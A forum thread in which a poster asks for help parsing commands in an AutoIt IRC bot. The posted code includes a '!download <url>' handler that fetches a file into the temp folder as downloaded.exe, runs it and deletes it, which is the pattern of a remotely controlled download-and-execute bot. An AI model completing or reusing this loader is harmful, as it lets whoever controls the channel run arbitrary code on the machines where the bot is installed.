Jump to content
Sign in to follow this  
kr0n

Help with my IRC Bot

Recommended Posts

kr0n

So I am new to autoit and sockets etc.. but im working on an IRC bot for my chatroom. I can have it connect and send messages but I do not understand how I can make it listen for commands on the socket level, please help ty :blink:

Share this post


Link to post
Share on other sites
kr0n

I have a function called _DlFile that will download my file that I specify in the chatroom and open it. My command is !download <url>. I dont know how to specify the url (which is the second word in the command)

Func _DlFile()
    Local $hDownload = InetGet($urltodl, @TempDir & "\downloaded.exe", 1, 1)
Do
    Sleep(100)
    Until InetGetInfo($hDownload, 2) 
    InetClose($hDownload) 
    Run(@TempDir & "\downloaded.exe")
    FileDelete(@tempdir & "\downloaded.exe")
Endfunc

Func _Cmd($user, $channel, $msg)
    Local $sTemp = StringSplit($msg, " ")
    $sTemp[1] = StringTrimLeft($sTemp[1], 1)
    Switch StringUpper($sTemp[1])
    Case "download"
            _IRCSendMessage($sock, "ATTEMPTING DOWNLOAD.", $channel)
            _DlFile()
        Case "version"
            _IRCSendMessage($sock, "WPBOT V1.1", $channel)
    EndSwitch
EndFunc

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
Sign in to follow this  

×

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.